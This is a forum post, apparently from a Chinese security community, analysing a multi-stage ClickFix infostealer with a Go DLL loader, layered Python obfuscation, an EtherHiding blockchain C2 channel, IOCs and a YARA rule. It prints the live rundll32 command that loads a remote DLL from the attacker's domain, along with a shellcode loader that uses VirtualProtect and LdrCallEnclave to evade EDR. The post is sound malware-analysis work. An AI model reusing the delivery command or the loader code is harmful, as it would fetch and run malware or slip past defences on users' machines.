首页
社区
课程
招聘
[原创]ClickFix 多阶段信息窃取样本深度分析
发表于: 1小时前 50

[原创]ClickFix 多阶段信息窃取样本深度分析

1小时前
50

0. 前言

这篇文章记录了笔者对一个 ClickFix 样本的完整分析过程,当然也包括了笔者还没有分析出来的部分。

该样本通过 WEB 页面传播,其通过弹出伪 reCAPTCHA 验证框,引导用户去执行了 PowerShell 命令,如下图所示:

前端WEB 人机验证伪造

这个样本的对抗性设计其实有点超出笔者的预期,其用到了 garble 混淆的 Go DLL、多层的 Python 脱壳、以及自解密 shellcode、EtherHiding 区块链 C2 等等技术实现隐藏并逃避分析检测。

1. 初始感染

1.1 攻击场景

ClickFix 也是一种近年来流行的社会工程学攻击手法。攻击者通过在正常网页中注入恶意广告,广告页面伪装为 Google reCAPTCHA 验证页面,诱导用户直接执行恶意指令:

例如在这个样本里,其要求用户执行以下操作:

  1. Win+R 打开运行对话框

  2. Ctrl+V 粘贴其写入的指令

  3. 按回车执行

1.2 实际执行的命令

    其页面实际向剪贴板注入的命令是:

rundll32.exe \\term4logicway.centenary-kurgan.bet\software-distribution-dxnp2c7\meta-verify.index,#1

    这条命令通过 WebDAV 协议从远程服务器加载 DLL 并执行。显然, meta-verify.index 即为伪装成系统验证文件的样本,用 #1 指定导出函数序号执行。

2. Stage 1:meta-verify.index 静态分析

2.1 样本基础信息

该前置样本,也就是 meta-verify.index 文件基础信息如下:

字段
文件名meta-verify.index
大小5,193,728 bytes (~5MB)
类型PE32+ DLL (x86-64)
MD5cb974e6f8c508b73e7cf061fb185af89
SHA-1b59152c36a856dbfcb0140548f613433192b9f51
SHA-256cb2e02747ad64b3df49cff3dc5bff9563f31309dd9ebfb9832dd979c38a1aecf
编译时间2025-09-01 12:28:39 UTC
编译器Mingw-w64 + Go 1.22+
混淆器garble (-tiny -literals)
是否签名
是否加壳否(各节区熵值正常)

节区熵值如下:

节区虚拟地址熵值属性
.text0x10006.60RX
.rdata0x2540005.60R
.data0x4bf0003.91RW
.pdata0x53a0005.51R
.tls0x54c0000.00RW

单纯从熵值来看,基本正常。

2.2 识别混淆

当时笔者也没多想,直接就丢进了 IDA Pro,但是发现做了混淆,基本没发现什么有用的信息。看到字符串的排布方式,大概就明白了,这个是用了 garble 混淆的 GO 语言样本:

最后用 GoReSym 分析后得到了下面的信息,可以供大家参考:

Go 版本:1.21+/1.22+
用户函数:4554 个
标准库函数:1848 个
包名乱码

推测是用 garble -tiny 方式删除了所有符号信息,用了 -literals 把字符串拆散成字节常量放到栈上拼接,导致静态扫描工具无法提取有意义的字符串。

2.3 调用链追踪

在 IDA Pro 中分析导出表,找到 ordinal #1 对应的 RtlUpdateDescriptor,显然这个名字也是为了伪装为合法 API 名:

// 导出函数入口
__int64 RtlUpdateDescriptor() {
    __int64 v0 = sub_1802524F0();     // Go runtime 初始化
    sub_18008BD80(                // runtime.newproc,创建 goroutine
        sub_180252060,            // goroutine 函数指针
        &v2, 0, v0
    );
    return sub_180252290(v0);        // runtime.mstart,启动调度器
}

继续追踪到攻击者的入口 sub_180246220

void sub_180246220() {
    sub_180250780();
    sub_180244D60();
    sub_180246520();
    sub_180244D60();

    if (dword_180535A30) { 
        sub_1800755C0(v4);
    }

    sub_180247180();
    sub_18004A140();
    sub_18023FCC0();
}

具体的函数内容,笔者没有深入进去分析,因为都经过了混淆。分析这个耗费的时间成本过高。

2.4 API 哈希解析

 继续分析下去,该样本不直接导入敏感 API,而是在运行时通过哈希查找,这也是常用的一种检测逃逸方法了。其从 .rdata 段提取到明文 API 列表(garble 将字符串拼接数据误放在了一个被 IDA 错误识别为 pclmulqdqmathR 的数据块中):

# DLL
dnsapi.dll / ws2_32.dll / dwmapi.dll / user32.dll

# 关键 API
DnsQuery_W      → DNS查询,解析C2/区块链节点
WSAStartup/WSASocketW → 网络初始化
OpenMutexW      → 防多实例运行
CreatePipe      → 管道通信,Stage1↔Stage2数据传递
OpenEventW/PulseEvent → 进程间同步
LockFileEx      → 独占访问目标文件
CryptUnprotectData → DPAPI解密(浏览器密码)

CreatePipe + OpenEvent + PulseEvent 的组合解释了为什么后续动态分析的进程树中出现了两个 rundll32——Stage 1 和 Stage 2 之间是通过命名管道和事件对象进行同步通信。

3. 动态分析:Stage 1

3.1 进程树

笔者分析到这里,感觉静态分析已经进行不太下去了,就上了ANY.RUN,一开始的分析时间是不够的,所以没有发现任何实际行为。笔者在用完了 ANY.RUN 的样本分析延时后,跑了大概 5 分钟左右吧,得到了其完整的进程拓扑如下:

rundll32.exe (meta-verify.index,#1)
├── dllhost.exe (PID 4480)
└── rundll32.exe (PID 1032)
    ├── chrome.exe (PID 7964)    // 启动浏览器提取凭据
    ├── msedge.exe (PID 3748)
    ├── dllhost.exe (PID 7960) [DMP]  // 内存转储
    └── ngep.exe (PID 6520) [etherhiding]  // 真正的 stealer

这个时候其实行为已经很清晰了

3.2 落地文件

笔者后来也在虚拟机里面手动跑了一下,发现 Stage 1 将完整的 Python 运行环境释放到了伪装成 Firefox 扩展的目录,由于笔者虚拟机里只装了 Firefox,根据 ANY.RUN 跑出来的结果来看,应该是自动扫描适配系统内的浏览器的。具体的落地文件夹如下:

C:\Users\[用户名]\AppData\Roaming\Mozilla\Extensions\c89de6f9.default-release\

ngep.exe          (103KB)   stealer 主程序
node_modules.asar (950KB)   Python payload(混淆)
python315.dll     (7042KB)  Python 3.15 解释器
python315.zip     (4547KB)  Python 标准库
sqlite3.dll       (1548KB)  读取浏览器数据库
vcruntime140.dll  (118KB)   VS2022 运行库
python.cat        (600KB)   数字签名目录(伪装合法)
libffi-8.dll      (39KB)    ctypes 依赖
... 共 19 个文件

当然,攻击者选择 Mozilla\Extensions 目录显然也是刻意的,因为这个路径在许多安全产品的白名单里,可以在一定程度上降低触发扫描的概率。

3.3 注册表持久化

跑分析的时候监测到了其通过注册表持久化了 payload,地址如下:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Prism Broker Panams 70673
值:"C:\Users\[用户名]\AppData\Roaming\Mozilla\Extensions\c89de6f9.default-release\ngep.exe" 
    "C:\Users\[用户名]\AppData\Roaming\Mozilla\Extensions\c89de6f9.default-release\node_modules.asar"

需要注意的是启动项指向的不是单纯的 ngep.exe,其加上了下发的落地 Payload "node_modules.asar" 文件作为参数。

4. Stage 2:多层 Python 混淆脱壳

这个也是是整个分析过程中最耗时的部分,前面我们基本上已经清晰了,其最终就是由启动器 ngep.exe 结合实际 Payload node_modules.asar 来执行具体的恶意行为的,所以这部分笔者就主要去关注了一下 node_modules.asar,不看不知道,发现这个 Payload 用了多层的混淆技术。

4.1 第一层:hex 编码

笔者打开样本的时候发现 node_modules.asar 看起来就是一个混淆过的 Python 脚本:

import binascii
exec(binascii.a2b_hex("".join([
    '66726f6d-2062-6173-6536-3420696d706f',
    '72742062-3634-6465-636f-64650a66726f',
    ...
])))

所有 hex 字符串中间插入了连字符,这么做也是为了绕过简单的 hex 字符串检测。

4.2 第二层:自定义解密函数

由于这个脚本有点大了,所以笔者直接将脚本内 exec 替换成了 print 函数去快速解码内容,hex 解码后就来到第二层的加密混淆:

from base64 import b64decode, b85decode

def get_option(data):
    return zlib.decompress(
        b64decode(data[::-1])  # 反转后 base64 解码,再 zlib 解压
    )

其实这段代码也就是表示了其通过 get_option 函数将参数字符串反转后做 base64 解码,再用 zlib 解压。这是一个简单但有效的混淆手段,可以绕过大部分自动化沙箱的字符串提取。

4.3 第三层:zlib 压缩 + base64

第二层函数负责处理一个约 4KB 的 base64 字符串,解压后就得到第三层代码。

4.4 第四层:shellcode 加载器

经历了这么4层的混淆,最终解出来的流程如下(由于实际 shellcode 比较大,这里省略了,其放在了 hkhpreyud 变量内):

import ctypes

def SC_getPage(shellcode):
    buffer = (ctypes.c_char * len(shellcode)).from_buffer_copy(shellcode)
    ptr = ctypes.cast(buffer, ctypes.c_void_p)
    old_protect = ctypes.c_ulong()
    # 设置内存为 PAGE_EXECUTE_READWRITE (0x40)
    ctypes.windll.kernel32.VirtualProtect(
        ptr, len(shellcode), 0x40, ctypes.byref(old_protect)
    )
    return int(ctypes.addressof(buffer))

def SC_exec(addrPtr):
    # 通过 LdrCallEnclave 执行 shellcode,以此绕过 EDR
    ctypes.WinDLL("ntdll").LdrCallEnclave(
        LPENCLAVE_ROUTINE(addrPtr),
        ctypes.c_uint32(0),
        ctypes.byref(ctypes.c_void_p())
    )

def run():
    sleep(5)          # 延迟执行,规避沙箱检测
    hkhpreyud = b"\x90" * 118 + [229460字节的shellcode]
    addr = SC_getPage(hkhpreyud)
    SC_exec(addr)

这里面有两个关键的东西:

  • VirtualProtect(0x40) — 将内存页设置为可读可写可执行,是 shellcode 注入的标准前置步骤。

  • LdrCallEnclave — 这个方法很有意思,这是 Intel SGX enclave 的调用接口,很多时候被高级恶意软件拿来滥用执行 shellcode。相比 CreateThread 等常见方式,LdrCallEnclave 不在大多数 EDR 的监控列表里,是一种较新的绕过手法。感兴趣的老师可以看一下:Run shellcode using LdrCallEnclave

4.5 脱壳过程

随后笔者写了一个自动脱壳脚本,去 Hook Python 的 execb64decodezlib.decompress 等关键函数,让恶意代码自行完成解密后截取结果。最后得到了一个 229KB 的 shellcode。

5. shellcode 分析

5.1 基本信息

  • 大小:229,460 字节

  • NOP sled:118 字节(0x90 * 118)

  • 代码入口:offset 0x76

  • 结构:两阶段(明文加载器 + 加密 payload)

5.2 静态分析结果

笔者把这个 shellcode 在 Ghidra 中手动反汇编,识别出 5 个函数:

FUN_00000076  入口(调用解密器)
FUN_00000096  核心解密循环
FUN_000000f9  初始化
FUN_00000120  辅助函数
FUN_00000188  主逻辑(含大量 Ghidra 警告)

FUN_00000096 的核心是一个自定义 XOR 解密循环:

LAB_000000af:
    ADD  RAX, RCX
    ADD  RCX, 1
    LEA  RAX, [RAX+1]
    SUB  RAX, RCX
    CMP  RCX, RDI
    JNZ  LAB_000000af
    
    XOR  RDX, RCX
    DEC  RAX
    MOV  byte [RDX], AL
    XOR  RDX, RDI
    ADD  RBX, 1
    CMP  RBX, RSI
    JNZ  LAB_000000af
    
    JMP  RDX

shellcode 的后续内容(约 229KB)是加密状态,静态分析无法还原出来。字符串也均为混淆的状态,看不到明文 API 名或者路径等其他信息。

5.3 执行失败备注

笔者在分析 VM 中尝试动态运行时,WinDbg 提示崩溃,笔者看了一下:

EXCEPTION_CODE: 0xc0000005 (Access Violation)
FAULTING_IP: kernel32!GetModuleHandleAStub
FAILURE_BUCKET_ID: SOFTWARE_NX_FAULT_INVALID_POINTER_EXECUTE_CODE

发现 shellcode 在尝试调用 GetModuleHandleA("kernel32.dll") 解析 API 地址时,因 DEP 触发了异常。笔者手动关了 DEP 后还是一样,推测是不是 shellcode 内部还包含虚拟机或者沙箱检测逻辑?

所以笔者备注一下,shellcode 内部完整逻辑有待进一步动态分析,各位老师感兴趣也可以试试看。

6. C2:EtherHiding

6.1 EtherHiding

EtherHiding 就是一种将 C2 指令隐藏在区块链交易数据中的技术。攻击者通过将加密的 C2 配置写入智能合约,恶意软件通过查询区块链节点读取指令。

通过这种方式的优势就在于区块链数据不可删除,而且难以溯源。

其实分析到这里,笔者就知道这个样本不可小觑了。

6.2 ANY.RUN 告警

网络告警如下:

196.46s  ngep.exe
ET INFO 在TLS SNI中观察到的智能域名 bsc-dataseed.bnbchain.org(币安智能链节点)

237.09s  ngep.exe  
ET MALWARE EtherHiding Exfil M2 ,也就是命中了 EtherHiding 数据外传特征

6.3 C2 基础设施

最后笔者就主要找到下面这三个 C2 基础设施,各位老师可以参考:

  • 初始载体域名:term4logicway.centenary-kurgan.bet

  • Stage 2 下载:mediafire.com

  • 区块链 C2:bsc-dataseed.bnbchain.org

有意思的是,在笔者分析期间,攻击者貌似已经将投递指令更换为:

\\prime.longwave5hot.surf\9fd51fb7-b3ad-4c8f-bf05-b5423d14e06c\user_6747.google,run

至于文件名中的 user_6747,笔者也说不太好,可能是单独的ID标记,当然也有可能就是写死的而已。

7. MITRE ATT&CK 映射

战术映射如下,共各位老师参考:

战术技术来源
Initial AccessT1189 Drive-by Compromise静态分析
ExecutionT1218.011 Rundll32静态分析
ExecutionT1204.004 Malicious Copy and Paste静态分析
ExecutionT1059.006 PythonANY.RUN
Defense EvasionT1027 Obfuscated Files静态分析
Defense EvasionT1027.007 Dynamic API Resolution静态分析
Defense EvasionT1562.002 Disable Windows Event LoggingANY.RUN
Credential AccessT1552.001 Credentials In FilesANY.RUN
PersistenceT1547.001 Registry Run KeysProcmon
C2T1071.001 Web ProtocolsANY.RUN

8. IOC

笔者最后总结一下我发现的 IOC 吧,供大家参考:

文件指标

# meta-verify.index (Stage 1 Loader)
MD5     cb974e6f8c508b73e7cf061fb185af89
SHA-1   b59152c36a856dbfcb0140548f613433192b9f51
SHA-256 cb2e02747ad64b3df49cff3dc5bff9563f31309dd9ebfb9832dd979c38a1aecf
大小    5,193,728 bytes

网络指标

# 投递域名
term4logicway[.]centenary-kurgan[.]bet

# Stage 2 下载
mediafire[.]com

# 区块链 C2
bsc-dataseed[.]bnbchain[.]org

主机指标

# 落地目录(这个应该是会变化的)
%APPDATA%\Mozilla\Extensions\c89de6f9.default-release\

# 持久化注册表键
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Prism Broker Panams 70673

# 关键落地文件
%APPDATA%\Mozilla\Extensions\c89de6f9.default-release\ngep.exe
%APPDATA%\Mozilla\Extensions\c89de6f9.default-release\node_modules.asar

行为特征

# YARA
rule ClickFix_Go_Loader_2026 {
    meta:
        description = "ClickFix Go DLL Loader with garble obfuscation"
        hash = "cb2e02747ad64b3df49cff3dc5bff9563f31309dd9ebfb9832dd979c38a1aecf"
    strings:
        $go_build  = "Go build"
        $export    = "RtlUpdateDescriptor"
        $dll_name  = "soholuqu.dl"
    condition:
        uint16(0) == 0x5A4D and
        filesize < 6MB and
        all of them
}

最后笔者总结一下目前发现的攻击链:

ClickFix 社工注入
    ↓
rundll32 + WebDAV 加载 Go DLL
    ↓  (garble混淆 + API哈希)
从 Mediafire 下载 Stage 2
    ↓
释放 Python 环境到 Mozilla\Extensions\
写注册表持久化
    ↓  (4层Python混淆)
node_modules.asar → shellcode
    ↓  (LdrCallEnclave 绕EDR)
连接币安智能链读取 C2 指令
    ↓  (EtherHiding)
窃取浏览器凭据、Cookie、加密钱包等等
数据外传

其实坦白来说,笔者也还没有将 shellcode 的内部逻辑完全还原。229KB 的加密 payload 在静态分析下面也没找到有用的线索,动态运行的时候还会崩溃。所以如果各位老师有什么好的建议和想法也欢迎尝试,将这个样本完整分析出来(infected)。


[培训]《冰与火的战歌:Windows内核攻防实战》!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。

最后于 55分钟前 被MysticEcho编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回